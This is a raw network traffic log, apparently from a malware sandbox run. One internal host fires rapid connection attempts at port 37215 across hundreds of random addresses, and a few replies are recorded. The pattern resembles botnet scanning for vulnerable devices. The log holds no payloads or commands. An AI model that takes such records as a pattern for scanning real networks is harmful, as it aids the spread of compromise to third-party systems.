Feb 20, 2022 15:50:58.726037025 CET	1386	37215	192.168.2.23	138.161.131.235
Feb 20, 2022 15:50:58.726053953 CET	1386	37215	192.168.2.23	138.242.60.21
Feb 20, 2022 15:50:58.726085901 CET	1386	37215	192.168.2.23	138.161.52.17
Feb 20, 2022 15:50:58.726098061 CET	1386	37215	192.168.2.23	138.59.34.86
Feb 20, 2022 15:50:58.726114035 CET	1386	37215	192.168.2.23	138.161.50.127
Feb 20, 2022 15:50:58.726151943 CET	1386	37215	192.168.2.23	138.60.127.69
Feb 20, 2022 15:50:58.726181984 CET	1386	37215	192.168.2.23	138.168.161.184
Feb 20, 2022 15:50:58.726196051 CET	1386	37215	192.168.2.23	138.200.126.28
Feb 20, 2022 15:50:58.726223946 CET	1386	37215	192.168.2.23	138.122.143.109
Feb 20, 2022 15:50:58.726238012 CET	1386	37215	192.168.2.23	138.216.180.242
Feb 20, 2022 15:50:58.726250887 CET	1386	37215	192.168.2.23	138.236.98.218
Feb 20, 2022 15:50:58.726289034 CET	1386	37215	192.168.2.23	138.69.149.146
Feb 20, 2022 15:50:58.726313114 CET	1386	37215	192.168.2.23	138.13.36.253
Feb 20, 2022 15:50:58.726340055 CET	1386	37215	192.168.2.23	138.90.53.178
Feb 20, 2022 15:50:58.726360083 CET	1386	37215	192.168.2.23	138.141.143.50
Feb 20, 2022 15:50:58.726402998 CET	1386	37215	192.168.2.23	138.59.213.46
Feb 20, 2022 15:50:58.726428032 CET	1386	37215	192.168.2.23	138.87.180.76
Feb 20, 2022 15:50:58.726464033 CET	1386	37215	192.168.2.23	138.10.48.154
Feb 20, 2022 15:50:58.726469040 CET	1386	37215	192.168.2.23	138.219.138.182
Feb 20, 2022 15:50:58.726510048 CET	1386	37215	192.168.2.23	138.146.122.67
Feb 20, 2022 15:50:58.726527929 CET	1386	37215	192.168.2.23	138.74.230.132
Feb 20, 2022 15:50:58.726548910 CET	1386	37215	192.168.2.23	138.47.220.97
Feb 20, 2022 15:50:58.726572037 CET	1386	37215	192.168.2.23	138.155.112.44
Feb 20, 2022 15:50:58.726592064 CET	1386	37215	192.168.2.23	138.148.3.89
Feb 20, 2022 15:50:58.726627111 CET	1386	37215	192.168.2.23	138.4.138.204
Feb 20, 2022 15:50:58.726636887 CET	1386	37215	192.168.2.23	138.109.202.113
Feb 20, 2022 15:50:58.726654053 CET	1386	37215	192.168.2.23	138.205.27.233
Feb 20, 2022 15:50:58.726713896 CET	1386	37215	192.168.2.23	138.28.1.145
Feb 20, 2022 15:50:58.726741076 CET	1386	37215	192.168.2.23	138.129.219.189
Feb 20, 2022 15:50:58.726766109 CET	1386	37215	192.168.2.23	138.220.55.170
Feb 20, 2022 15:50:58.726784945 CET	1386	37215	192.168.2.23	138.164.221.169
Feb 20, 2022 15:50:58.726836920 CET	1386	37215	192.168.2.23	138.94.96.244
Feb 20, 2022 15:50:58.726849079 CET	1386	37215	192.168.2.23	138.139.125.1
Feb 20, 2022 15:50:58.726866007 CET	1386	37215	192.168.2.23	138.137.140.58
Feb 20, 2022 15:50:58.726900101 CET	1386	37215	192.168.2.23	138.63.115.142
Feb 20, 2022 15:50:58.726923943 CET	1386	37215	192.168.2.23	138.10.43.127
Feb 20, 2022 15:50:58.726948023 CET	1386	37215	192.168.2.23	138.163.220.244
Feb 20, 2022 15:50:58.726973057 CET	1386	37215	192.168.2.23	138.210.71.122
Feb 20, 2022 15:50:58.727004051 CET	1386	37215	192.168.2.23	138.25.235.145
Feb 20, 2022 15:50:58.727025032 CET	1386	37215	192.168.2.23	138.188.230.91
Feb 20, 2022 15:50:58.727042913 CET	1386	37215	192.168.2.23	138.145.52.253
Feb 20, 2022 15:50:58.727068901 CET	1386	37215	192.168.2.23	138.246.10.20
Feb 20, 2022 15:50:58.727092028 CET	1386	37215	192.168.2.23	138.206.156.142
Feb 20, 2022 15:50:58.727117062 CET	1386	37215	192.168.2.23	138.13.112.153
Feb 20, 2022 15:50:58.727143049 CET	1386	37215	192.168.2.23	138.146.158.236
Feb 20, 2022 15:50:58.727163076 CET	1386	37215	192.168.2.23	138.172.83.98
Feb 20, 2022 15:50:58.727191925 CET	1386	37215	192.168.2.23	138.207.12.14
Feb 20, 2022 15:50:58.727210999 CET	1386	37215	192.168.2.23	138.11.207.54
Feb 20, 2022 15:50:58.727241993 CET	1386	37215	192.168.2.23	138.214.71.173
Feb 20, 2022 15:50:58.727269888 CET	1386	37215	192.168.2.23	138.214.164.50
Feb 20, 2022 15:50:58.727288008 CET	1386	37215	192.168.2.23	138.126.46.144
Feb 20, 2022 15:50:58.727314949 CET	1386	37215	192.168.2.23	138.188.169.52
Feb 20, 2022 15:50:58.727336884 CET	1386	37215	192.168.2.23	138.21.50.149
Feb 20, 2022 15:50:58.727351904 CET	1386	37215	192.168.2.23	138.240.150.135
Feb 20, 2022 15:50:58.727376938 CET	1386	37215	192.168.2.23	138.207.144.169
Feb 20, 2022 15:50:58.727401018 CET	1386	37215	192.168.2.23	138.51.205.123
Feb 20, 2022 15:50:58.727415085 CET	1386	37215	192.168.2.23	138.97.255.187
Feb 20, 2022 15:50:58.727440119 CET	1386	37215	192.168.2.23	138.184.98.186
Feb 20, 2022 15:50:58.727466106 CET	1386	37215	192.168.2.23	138.185.25.191
Feb 20, 2022 15:50:58.727484941 CET	1386	37215	192.168.2.23	138.183.46.157
Feb 20, 2022 15:50:58.727511883 CET	1386	37215	192.168.2.23	138.127.169.106
Feb 20, 2022 15:50:58.727536917 CET	1386	37215	192.168.2.23	138.123.132.186
Feb 20, 2022 15:50:58.727555037 CET	1386	37215	192.168.2.23	138.26.147.238
Feb 20, 2022 15:50:58.727598906 CET	1386	37215	192.168.2.23	138.78.107.249
Feb 20, 2022 15:50:58.727638960 CET	1386	37215	192.168.2.23	138.93.41.196
Feb 20, 2022 15:50:58.727658987 CET	1386	37215	192.168.2.23	138.136.71.102
Feb 20, 2022 15:50:58.727674961 CET	1386	37215	192.168.2.23	138.86.216.21
Feb 20, 2022 15:50:58.727683067 CET	1386	37215	192.168.2.23	138.147.140.96
Feb 20, 2022 15:50:58.727705002 CET	1386	37215	192.168.2.23	138.148.84.245
Feb 20, 2022 15:50:58.727734089 CET	1386	37215	192.168.2.23	138.80.229.55
Feb 20, 2022 15:50:58.727782965 CET	1386	37215	192.168.2.23	138.87.164.28
Feb 20, 2022 15:50:58.727802992 CET	1386	37215	192.168.2.23	138.136.123.166
Feb 20, 2022 15:50:58.727847099 CET	1386	37215	192.168.2.23	138.117.216.15
Feb 20, 2022 15:50:58.727854967 CET	1386	37215	192.168.2.23	138.185.45.192
Feb 20, 2022 15:50:58.727874041 CET	1386	37215	192.168.2.23	138.52.114.16
Feb 20, 2022 15:50:58.727900028 CET	1386	37215	192.168.2.23	138.216.45.81
Feb 20, 2022 15:50:58.727926016 CET	1386	37215	192.168.2.23	138.126.146.190
Feb 20, 2022 15:50:58.727947950 CET	1386	37215	192.168.2.23	138.72.52.130
Feb 20, 2022 15:50:58.727968931 CET	1386	37215	192.168.2.23	138.163.247.173
Feb 20, 2022 15:50:58.727994919 CET	1386	37215	192.168.2.23	138.91.152.41
Feb 20, 2022 15:50:58.728019953 CET	1386	37215	192.168.2.23	138.29.161.90
Feb 20, 2022 15:50:58.728053093 CET	1386	37215	192.168.2.23	138.41.31.232
Feb 20, 2022 15:50:58.728072882 CET	1386	37215	192.168.2.23	138.195.165.42
Feb 20, 2022 15:50:58.728092909 CET	1386	37215	192.168.2.23	138.253.228.178
Feb 20, 2022 15:50:58.728113890 CET	1386	37215	192.168.2.23	138.31.47.1
Feb 20, 2022 15:50:58.728159904 CET	1386	37215	192.168.2.23	138.147.25.47
Feb 20, 2022 15:50:58.728182077 CET	1386	37215	192.168.2.23	138.6.28.223
Feb 20, 2022 15:50:58.728199959 CET	1386	37215	192.168.2.23	138.5.42.179
Feb 20, 2022 15:50:58.728229046 CET	1386	37215	192.168.2.23	138.212.45.183
Feb 20, 2022 15:50:58.728245020 CET	1386	37215	192.168.2.23	138.181.248.73
Feb 20, 2022 15:50:58.728291988 CET	1386	37215	192.168.2.23	138.65.213.236
Feb 20, 2022 15:50:58.728306055 CET	1386	37215	192.168.2.23	138.28.13.7
Feb 20, 2022 15:50:58.728338957 CET	1386	37215	192.168.2.23	138.197.89.114
Feb 20, 2022 15:50:58.728362083 CET	1386	37215	192.168.2.23	138.1.8.43
Feb 20, 2022 15:50:58.728384972 CET	1386	37215	192.168.2.23	138.14.159.165
Feb 20, 2022 15:50:58.728405952 CET	1386	37215	192.168.2.23	138.244.169.250
Feb 20, 2022 15:50:58.728430986 CET	1386	37215	192.168.2.23	138.125.74.14
Feb 20, 2022 15:50:58.728455067 CET	1386	37215	192.168.2.23	138.118.75.15
Feb 20, 2022 15:50:58.728471994 CET	1386	37215	192.168.2.23	138.202.104.225
Feb 20, 2022 15:50:58.728497982 CET	1386	37215	192.168.2.23	138.134.19.172
Feb 20, 2022 15:50:58.728539944 CET	1386	37215	192.168.2.23	138.141.8.12
Feb 20, 2022 15:50:58.728557110 CET	1386	37215	192.168.2.23	138.35.28.47
Feb 20, 2022 15:50:58.728581905 CET	1386	37215	192.168.2.23	138.176.166.99
Feb 20, 2022 15:50:58.728609085 CET	1386	37215	192.168.2.23	138.13.235.193
Feb 20, 2022 15:50:58.728631973 CET	1386	37215	192.168.2.23	138.94.139.241
Feb 20, 2022 15:50:58.728651047 CET	1386	37215	192.168.2.23	138.182.104.100
Feb 20, 2022 15:50:58.728692055 CET	1386	37215	192.168.2.23	138.14.216.153
Feb 20, 2022 15:50:58.728739977 CET	1386	37215	192.168.2.23	138.11.160.245
Feb 20, 2022 15:50:58.728744030 CET	1386	37215	192.168.2.23	138.41.194.224
Feb 20, 2022 15:50:58.728763103 CET	1386	37215	192.168.2.23	138.171.199.15
Feb 20, 2022 15:50:58.728785038 CET	1386	37215	192.168.2.23	138.73.190.195
Feb 20, 2022 15:50:58.728827953 CET	1386	37215	192.168.2.23	138.172.14.217
Feb 20, 2022 15:50:58.728847980 CET	1386	37215	192.168.2.23	138.6.247.66
Feb 20, 2022 15:50:58.728883028 CET	1386	37215	192.168.2.23	138.14.207.61
Feb 20, 2022 15:50:58.728898048 CET	1386	37215	192.168.2.23	138.147.77.53
Feb 20, 2022 15:50:58.728913069 CET	1386	37215	192.168.2.23	138.93.177.160
Feb 20, 2022 15:50:58.728950977 CET	1386	37215	192.168.2.23	138.7.95.133
Feb 20, 2022 15:50:58.728969097 CET	1386	37215	192.168.2.23	138.30.152.25
Feb 20, 2022 15:50:58.728990078 CET	1386	37215	192.168.2.23	138.85.135.16
Feb 20, 2022 15:50:58.729017973 CET	1386	37215	192.168.2.23	138.17.23.139
Feb 20, 2022 15:50:58.729036093 CET	1386	37215	192.168.2.23	138.149.14.11
Feb 20, 2022 15:50:58.729075909 CET	1386	37215	192.168.2.23	138.235.79.84
Feb 20, 2022 15:50:58.729089022 CET	1386	37215	192.168.2.23	138.215.56.78
Feb 20, 2022 15:50:58.729110003 CET	1386	37215	192.168.2.23	138.185.212.41
Feb 20, 2022 15:50:58.729135036 CET	1386	37215	192.168.2.23	138.160.22.136
Feb 20, 2022 15:50:58.729154110 CET	1386	37215	192.168.2.23	138.35.195.90
Feb 20, 2022 15:50:58.729197025 CET	1386	37215	192.168.2.23	138.66.255.174
Feb 20, 2022 15:50:58.729219913 CET	1386	37215	192.168.2.23	138.47.29.143
Feb 20, 2022 15:50:58.729240894 CET	1386	37215	192.168.2.23	138.108.48.211
Feb 20, 2022 15:50:58.729264975 CET	1386	37215	192.168.2.23	138.180.225.127
Feb 20, 2022 15:50:58.729298115 CET	1386	37215	192.168.2.23	138.233.62.195
Feb 20, 2022 15:50:58.729316950 CET	1386	37215	192.168.2.23	138.76.9.129
Feb 20, 2022 15:50:58.729338884 CET	1386	37215	192.168.2.23	138.88.168.206
Feb 20, 2022 15:50:58.729355097 CET	1386	37215	192.168.2.23	138.103.40.6
Feb 20, 2022 15:50:58.729387045 CET	1386	37215	192.168.2.23	138.47.143.28
Feb 20, 2022 15:50:58.729403973 CET	1386	37215	192.168.2.23	138.168.144.195
Feb 20, 2022 15:50:58.729445934 CET	1386	37215	192.168.2.23	138.194.75.97
Feb 20, 2022 15:50:58.729471922 CET	1386	37215	192.168.2.23	138.18.77.189
Feb 20, 2022 15:50:58.729496956 CET	1386	37215	192.168.2.23	138.28.105.118
Feb 20, 2022 15:50:58.729511976 CET	1386	37215	192.168.2.23	138.102.52.170
Feb 20, 2022 15:50:58.729532003 CET	1386	37215	192.168.2.23	138.62.140.134
Feb 20, 2022 15:50:58.729562044 CET	1386	37215	192.168.2.23	138.102.208.57
Feb 20, 2022 15:50:58.729581118 CET	1386	37215	192.168.2.23	138.183.117.155
Feb 20, 2022 15:50:58.729600906 CET	1386	37215	192.168.2.23	138.15.121.248
Feb 20, 2022 15:50:58.729654074 CET	1386	37215	192.168.2.23	138.186.178.210
Feb 20, 2022 15:50:58.729661942 CET	1386	37215	192.168.2.23	138.61.183.133
Feb 20, 2022 15:50:58.729681015 CET	1386	37215	192.168.2.23	138.113.208.109
Feb 20, 2022 15:50:58.729695082 CET	1386	37215	192.168.2.23	138.93.92.253
Feb 20, 2022 15:50:58.729716063 CET	1386	37215	192.168.2.23	138.97.191.143
Feb 20, 2022 15:50:58.729739904 CET	1386	37215	192.168.2.23	138.80.107.135
Feb 20, 2022 15:50:58.729777098 CET	1386	37215	192.168.2.23	138.108.168.216
Feb 20, 2022 15:50:58.729800940 CET	1386	37215	192.168.2.23	138.251.145.183
Feb 20, 2022 15:50:58.729827881 CET	1386	37215	192.168.2.23	138.128.103.199
Feb 20, 2022 15:50:58.729839087 CET	1386	37215	192.168.2.23	138.147.9.166
Feb 20, 2022 15:50:58.729862928 CET	1386	37215	192.168.2.23	138.115.227.140
Feb 20, 2022 15:50:58.729902029 CET	1386	37215	192.168.2.23	138.14.46.54
Feb 20, 2022 15:50:58.729917049 CET	1386	37215	192.168.2.23	138.64.165.51
Feb 20, 2022 15:50:58.729943037 CET	1386	37215	192.168.2.23	138.60.228.17
Feb 20, 2022 15:50:58.729959965 CET	1386	37215	192.168.2.23	138.195.152.195
Feb 20, 2022 15:50:58.729986906 CET	1386	37215	192.168.2.23	138.210.211.93
Feb 20, 2022 15:50:58.730007887 CET	1386	37215	192.168.2.23	138.106.97.150
Feb 20, 2022 15:50:58.730026007 CET	1386	37215	192.168.2.23	138.206.232.4
Feb 20, 2022 15:50:58.730071068 CET	1386	37215	192.168.2.23	138.65.79.19
Feb 20, 2022 15:50:58.730093002 CET	1386	37215	192.168.2.23	138.224.1.221
Feb 20, 2022 15:50:58.730120897 CET	1386	37215	192.168.2.23	138.227.199.48
Feb 20, 2022 15:50:58.730134964 CET	1386	37215	192.168.2.23	138.253.228.168
Feb 20, 2022 15:50:58.730159044 CET	1386	37215	192.168.2.23	138.87.120.177
Feb 20, 2022 15:50:58.730181932 CET	1386	37215	192.168.2.23	138.19.83.216
Feb 20, 2022 15:50:58.730215073 CET	1386	37215	192.168.2.23	138.58.148.114
Feb 20, 2022 15:50:58.730237007 CET	1386	37215	192.168.2.23	138.167.31.253
Feb 20, 2022 15:50:58.730257988 CET	1386	37215	192.168.2.23	138.152.120.45
Feb 20, 2022 15:50:58.730279922 CET	1386	37215	192.168.2.23	138.141.144.20
Feb 20, 2022 15:50:58.730302095 CET	1386	37215	192.168.2.23	138.104.96.72
Feb 20, 2022 15:50:58.730321884 CET	1386	37215	192.168.2.23	138.73.234.124
Feb 20, 2022 15:50:58.730356932 CET	1386	37215	192.168.2.23	138.86.62.54
Feb 20, 2022 15:50:58.730372906 CET	1386	37215	192.168.2.23	138.194.69.198
Feb 20, 2022 15:50:58.730392933 CET	1386	37215	192.168.2.23	138.238.129.227
Feb 20, 2022 15:50:58.730424881 CET	1386	37215	192.168.2.23	138.131.118.155
Feb 20, 2022 15:50:58.730462074 CET	1386	37215	192.168.2.23	138.140.139.2
Feb 20, 2022 15:50:58.730482101 CET	1386	37215	192.168.2.23	138.189.127.3
Feb 20, 2022 15:50:58.737024069 CET	37215	1898	138.40.90.147	192.168.2.23
Feb 20, 2022 15:50:58.737071037 CET	1898	37215	192.168.2.23	138.40.90.147
Feb 20, 2022 15:50:58.739926100 CET	37215	1898	138.40.160.250	192.168.2.23
Feb 20, 2022 15:50:58.740005970 CET	1898	37215	192.168.2.23	138.40.160.250
Feb 20, 2022 15:50:58.743959904 CET	37215	1898	138.68.103.199	192.168.2.23
Feb 20, 2022 15:50:58.745018005 CET	37215	1386	138.40.148.110	192.168.2.23
Feb 20, 2022 15:50:58.745084047 CET	1386	37215	192.168.2.23	138.40.148.110
Feb 20, 2022 15:50:58.745673895 CET	37215	1386	138.40.255.72	192.168.2.23
Feb 20, 2022 15:50:58.745723963 CET	1386	37215	192.168.2.23	138.40.255.72
Feb 20, 2022 15:50:58.805758953 CET	37215	1898	138.124.180.228	192.168.2.23
Feb 20, 2022 15:50:58.817468882 CET	37215	1898	138.128.54.127	192.168.2.23
Feb 20, 2022 15:50:58.825139999 CET	37215	1898	197.5.64.113	192.168.2.23
Feb 20, 2022 15:50:58.828136921 CET	37215	1386	138.113.158.78	192.168.2.23
Feb 20, 2022 15:50:58.831913948 CET	37215	1898	138.128.49.199	192.168.2.23
Feb 20, 2022 15:50:58.858520031 CET	37215	1898	138.43.98.207	192.168.2.23
Feb 20, 2022 15:50:58.867645979 CET	37215	1386	138.43.104.64	192.168.2.23
Feb 20, 2022 15:50:58.877494097 CET	37215	1386	138.122.6.149	192.168.2.23
Feb 20, 2022 15:50:58.889812946 CET	37215	1386	138.255.254.185	192.168.2.23
Feb 20, 2022 15:50:58.891731024 CET	37215	1386	138.68.19.27	192.168.2.23
Feb 20, 2022 15:50:58.905468941 CET	37215	1386	138.219.14.202	192.168.2.23
Feb 20, 2022 15:50:58.905972004 CET	37215	1386	138.59.97.121	192.168.2.23
Feb 20, 2022 15:50:58.925532103 CET	37215	1898	138.219.153.202	192.168.2.23
Feb 20, 2022 15:50:58.930665970 CET	37215	1386	138.117.27.22	192.168.2.23
Feb 20, 2022 15:50:58.934583902 CET	37215	1898	138.59.185.70	192.168.2.23
Feb 20, 2022 15:50:58.934977055 CET	37215	1898	138.122.169.50	192.168.2.23
Feb 20, 2022 15:50:58.954246998 CET	37215	1898	138.219.231.102	192.168.2.23
Feb 20, 2022 15:50:58.957750082 CET	37215	1386	138.185.97.2	192.168.2.23
Feb 20, 2022 15:50:58.959768057 CET	42516	80	192.168.2.23	109.202.202.202
Feb 20, 2022 15:50:58.959997892 CET	37215	1898	138.122.181.174	192.168.2.23
Feb 20, 2022 15:50:58.973541975 CET	37215	1386	138.59.220.94	192.168.2.23
Feb 20, 2022 15:50:58.981432915 CET	37215	1386	138.113.112.88	192.168.2.23
Feb 20, 2022 15:50:58.987021923 CET	37215	1898	138.117.64.106	192.168.2.23
Feb 20, 2022 15:50:59.025871038 CET	37215	1386	138.212.245.76	192.168.2.23
Feb 20, 2022 15:50:59.726572037 CET	1898	37215	192.168.2.23	102.231.20.180
Feb 20, 2022 15:50:59.726634026 CET	1898	37215	192.168.2.23	102.188.97.152
Feb 20, 2022 15:50:59.726644993 CET	1898	37215	192.168.2.23	102.105.3.41
Feb 20, 2022 15:50:59.726675987 CET	1898	37215	192.168.2.23	102.179.16.209
Feb 20, 2022 15:50:59.726682901 CET	1898	37215	192.168.2.23	102.70.228.238
Feb 20, 2022 15:50:59.726682901 CET	1898	37215	192.168.2.23	102.19.43.32
Feb 20, 2022 15:50:59.726735115 CET	1898	37215	192.168.2.23	102.234.28.192
Feb 20, 2022 15:50:59.726744890 CET	1898	37215	192.168.2.23	102.224.146.71
Feb 20, 2022 15:50:59.726747990 CET	1898	37215	192.168.2.23	102.91.141.124
Feb 20, 2022 15:50:59.726775885 CET	1898	37215	192.168.2.23	102.118.4.120
Feb 20, 2022 15:50:59.726798058 CET	1898	37215	192.168.2.23	102.0.206.192
Feb 20, 2022 15:50:59.726831913 CET	1898	37215	192.168.2.23	102.224.180.47
Feb 20, 2022 15:50:59.726847887 CET	1898	37215	192.168.2.23	102.120.188.187
Feb 20, 2022 15:50:59.726846933 CET	1898	37215	192.168.2.23	102.147.227.207
Feb 20, 2022 15:50:59.726881981 CET	1898	37215	192.168.2.23	102.32.10.198
Feb 20, 2022 15:50:59.726891994 CET	1898	37215	192.168.2.23	102.75.146.120
Feb 20, 2022 15:50:59.726926088 CET	1898	37215	192.168.2.23	102.186.66.237
Feb 20, 2022 15:50:59.726943016 CET	1898	37215	192.168.2.23	102.17.154.7
Feb 20, 2022 15:50:59.726947069 CET	1898	37215	192.168.2.23	102.109.133.70
Feb 20, 2022 15:50:59.726953030 CET	1898	37215	192.168.2.23	102.174.124.228
Feb 20, 2022 15:50:59.726993084 CET	1898	37215	192.168.2.23	102.112.212.46
Feb 20, 2022 15:50:59.727041960 CET	1898	37215	192.168.2.23	102.228.172.132
Feb 20, 2022 15:50:59.727070093 CET	1898	37215	192.168.2.23	102.181.69.208
Feb 20, 2022 15:50:59.727078915 CET	1898	37215	192.168.2.23	102.171.254.138
Feb 20, 2022 15:50:59.727097034 CET	1898	37215	192.168.2.23	102.136.137.223
Feb 20, 2022 15:50:59.727113962 CET	1898	37215	192.168.2.23	102.57.54.225
Feb 20, 2022 15:50:59.727142096 CET	1898	37215	192.168.2.23	102.234.202.34
Feb 20, 2022 15:50:59.727179050 CET	1898	37215	192.168.2.23	102.135.111.79
Feb 20, 2022 15:50:59.727195978 CET	1898	37215	192.168.2.23	102.140.121.132
Feb 20, 2022 15:50:59.727210045 CET	1898	37215	192.168.2.23	102.151.56.152
Feb 20, 2022 15:50:59.727247953 CET	1898	37215	192.168.2.23	102.25.88.147
Feb 20, 2022 15:50:59.727266073 CET	1898	37215	192.168.2.23	102.161.113.86
Feb 20, 2022 15:50:59.727294922 CET	1898	37215	192.168.2.23	102.19.250.179
Feb 20, 2022 15:50:59.727309942 CET	1898	37215	192.168.2.23	102.7.246.149
Feb 20, 2022 15:50:59.727312088 CET	1898	37215	192.168.2.23	102.108.32.34
Feb 20, 2022 15:50:59.727325916 CET	1898	37215	192.168.2.23	102.76.131.201
Feb 20, 2022 15:50:59.727350950 CET	1898	37215	192.168.2.23	102.211.103.38
Feb 20, 2022 15:50:59.727392912 CET	1898	37215	192.168.2.23	102.138.101.19
Feb 20, 2022 15:50:59.727395058 CET	1898	37215	192.168.2.23	102.67.190.116
Feb 20, 2022 15:50:59.727422953 CET	1898	37215	192.168.2.23	102.104.34.9
Feb 20, 2022 15:50:59.727437973 CET	1898	37215	192.168.2.23	102.64.110.24
Feb 20, 2022 15:50:59.727487087 CET	1898	37215	192.168.2.23	102.102.17.245
Feb 20, 2022 15:50:59.727500916 CET	1898	37215	192.168.2.23	102.125.132.64
Feb 20, 2022 15:50:59.727551937 CET	1898	37215	192.168.2.23	102.123.24.100
Feb 20, 2022 15:50:59.727572918 CET	1898	37215	192.168.2.23	102.169.123.73
Feb 20, 2022 15:50:59.727576017 CET	1898	37215	192.168.2.23	102.137.250.31
Feb 20, 2022 15:50:59.727591991 CET	1898	37215	192.168.2.23	102.215.129.253
Feb 20, 2022 15:50:59.727646112 CET	1898	37215	192.168.2.23	102.190.228.192
Feb 20, 2022 15:50:59.727696896 CET	1898	37215	192.168.2.23	102.64.150.216
Feb 20, 2022 15:50:59.727711916 CET	1898	37215	192.168.2.23	102.192.245.111
Feb 20, 2022 15:50:59.727737904 CET	1898	37215	192.168.2.23	102.71.196.36
Feb 20, 2022 15:50:59.727742910 CET	1898	37215	192.168.2.23	102.213.206.232
Feb 20, 2022 15:50:59.727756977 CET	1898	37215	192.168.2.23	102.207.24.72
Feb 20, 2022 15:50:59.727763891 CET	1898	37215	192.168.2.23	102.40.130.111
Feb 20, 2022 15:50:59.727817059 CET	1898	37215	192.168.2.23	102.239.139.213
Feb 20, 2022 15:50:59.727845907 CET	1898	37215	192.168.2.23	102.121.145.58
Feb 20, 2022 15:50:59.727855921 CET	1898	37215	192.168.2.23	102.103.146.190
Feb 20, 2022 15:50:59.727861881 CET	1898	37215	192.168.2.23	102.172.205.39
Feb 20, 2022 15:50:59.727919102 CET	1898	37215	192.168.2.23	102.250.153.239
Feb 20, 2022 15:50:59.727924109 CET	1898	37215	192.168.2.23	102.34.104.134
Feb 20, 2022 15:50:59.727929115 CET	1898	37215	192.168.2.23	102.217.149.179
Feb 20, 2022 15:50:59.728003979 CET	1898	37215	192.168.2.23	102.255.9.168
Feb 20, 2022 15:50:59.728041887 CET	1898	37215	192.168.2.23	102.50.193.234
Feb 20, 2022 15:50:59.728056908 CET	1898	37215	192.168.2.23	102.19.215.205
Feb 20, 2022 15:50:59.728064060 CET	1898	37215	192.168.2.23	102.151.247.146
Feb 20, 2022 15:50:59.728070974 CET	1898	37215	192.168.2.23	102.119.189.181
Feb 20, 2022 15:50:59.728132010 CET	1898	37215	192.168.2.23	102.98.179.141
Feb 20, 2022 15:50:59.728137970 CET	1898	37215	192.168.2.23	102.149.134.128
Feb 20, 2022 15:50:59.728174925 CET	1898	37215	192.168.2.23	102.12.15.39
Feb 20, 2022 15:50:59.728199959 CET	1898	37215	192.168.2.23	102.226.75.25
Feb 20, 2022 15:50:59.728204012 CET	1898	37215	192.168.2.23	102.12.55.203
Feb 20, 2022 15:50:59.728236914 CET	1898	37215	192.168.2.23	102.202.149.133
Feb 20, 2022 15:50:59.728249073 CET	1898	37215	192.168.2.23	102.121.31.160
Feb 20, 2022 15:50:59.728272915 CET	1898	37215	192.168.2.23	102.204.43.198
Feb 20, 2022 15:50:59.728279114 CET	1898	37215	192.168.2.23	102.15.111.123
Feb 20, 2022 15:50:59.728327990 CET	1898	37215	192.168.2.23	102.133.253.160
Feb 20, 2022 15:50:59.728338957 CET	1898	37215	192.168.2.23	102.76.163.196
Feb 20, 2022 15:50:59.728341103 CET	1898	37215	192.168.2.23	102.233.63.84
Feb 20, 2022 15:50:59.728348017 CET	1898	37215	192.168.2.23	102.41.225.145
Feb 20, 2022 15:50:59.728380919 CET	1898	37215	192.168.2.23	102.72.202.226
Feb 20, 2022 15:50:59.728399992 CET	1898	37215	192.168.2.23	102.89.112.82
Feb 20, 2022 15:50:59.728401899 CET	1898	37215	192.168.2.23	102.117.114.237
Feb 20, 2022 15:50:59.728442907 CET	1898	37215	192.168.2.23	102.52.241.21
Feb 20, 2022 15:50:59.728446960 CET	1898	37215	192.168.2.23	102.28.89.86
Feb 20, 2022 15:50:59.728492022 CET	1898	37215	192.168.2.23	102.8.169.248
Feb 20, 2022 15:50:59.728537083 CET	1898	37215	192.168.2.23	102.219.242.83
Feb 20, 2022 15:50:59.728562117 CET	1898	37215	192.168.2.23	102.34.36.135
Feb 20, 2022 15:50:59.728585005 CET	1898	37215	192.168.2.23	102.251.5.165
Feb 20, 2022 15:50:59.728589058 CET	1898	37215	192.168.2.23	102.187.95.192
Feb 20, 2022 15:50:59.728598118 CET	1898	37215	192.168.2.23	102.1.89.105
Feb 20, 2022 15:50:59.728626966 CET	1898	37215	192.168.2.23	102.186.95.85
Feb 20, 2022 15:50:59.728631020 CET	1898	37215	192.168.2.23	102.99.134.107
Feb 20, 2022 15:50:59.728645086 CET	1898	37215	192.168.2.23	102.73.71.124
Feb 20, 2022 15:50:59.728678942 CET	1898	37215	192.168.2.23	102.116.156.155
Feb 20, 2022 15:50:59.728728056 CET	1898	37215	192.168.2.23	102.255.18.124
Feb 20, 2022 15:50:59.728733063 CET	1898	37215	192.168.2.23	102.41.186.196
Feb 20, 2022 15:50:59.728744030 CET	1898	37215	192.168.2.23	102.254.103.101
Feb 20, 2022 15:50:59.728821039 CET	1898	37215	192.168.2.23	102.24.80.195
Feb 20, 2022 15:50:59.728830099 CET	1898	37215	192.168.2.23	102.65.190.45
Feb 20, 2022 15:50:59.728846073 CET	1898	37215	192.168.2.23	102.252.225.201
Feb 20, 2022 15:50:59.728867054 CET	1898	37215	192.168.2.23	102.2.91.24
Feb 20, 2022 15:50:59.728873014 CET	1898	37215	192.168.2.23	102.255.190.75
Feb 20, 2022 15:50:59.728900909 CET	1898	37215	192.168.2.23	102.38.238.249
Feb 20, 2022 15:50:59.728916883 CET	1898	37215	192.168.2.23	102.159.170.41
Feb 20, 2022 15:50:59.728950024 CET	1898	37215	192.168.2.23	102.177.68.213
Feb 20, 2022 15:50:59.728969097 CET	1898	37215	192.168.2.23	102.27.205.183
Feb 20, 2022 15:50:59.728992939 CET	1898	37215	192.168.2.23	102.26.120.137
Feb 20, 2022 15:50:59.729027987 CET	1898	37215	192.168.2.23	102.90.50.148
Feb 20, 2022 15:50:59.729044914 CET	1898	37215	192.168.2.23	102.95.73.155
Feb 20, 2022 15:50:59.729099035 CET	1898	37215	192.168.2.23	102.173.119.33
Feb 20, 2022 15:50:59.729113102 CET	1898	37215	192.168.2.23	102.41.114.73
Feb 20, 2022 15:50:59.729134083 CET	1898	37215	192.168.2.23	102.192.77.169
Feb 20, 2022 15:50:59.729157925 CET	1898	37215	192.168.2.23	102.54.143.38
Feb 20, 2022 15:50:59.729162931 CET	1898	37215	192.168.2.23	102.195.16.106
Feb 20, 2022 15:50:59.729180098 CET	1898	37215	192.168.2.23	102.145.58.198
Feb 20, 2022 15:50:59.729221106 CET	1898	37215	192.168.2.23	102.193.1.190
Feb 20, 2022 15:50:59.729237080 CET	1898	37215	192.168.2.23	102.207.244.251
Feb 20, 2022 15:50:59.729268074 CET	1898	37215	192.168.2.23	102.56.183.28
Feb 20, 2022 15:50:59.729274035 CET	1898	37215	192.168.2.23	102.232.119.213
Feb 20, 2022 15:50:59.729291916 CET	1898	37215	192.168.2.23	102.160.53.246
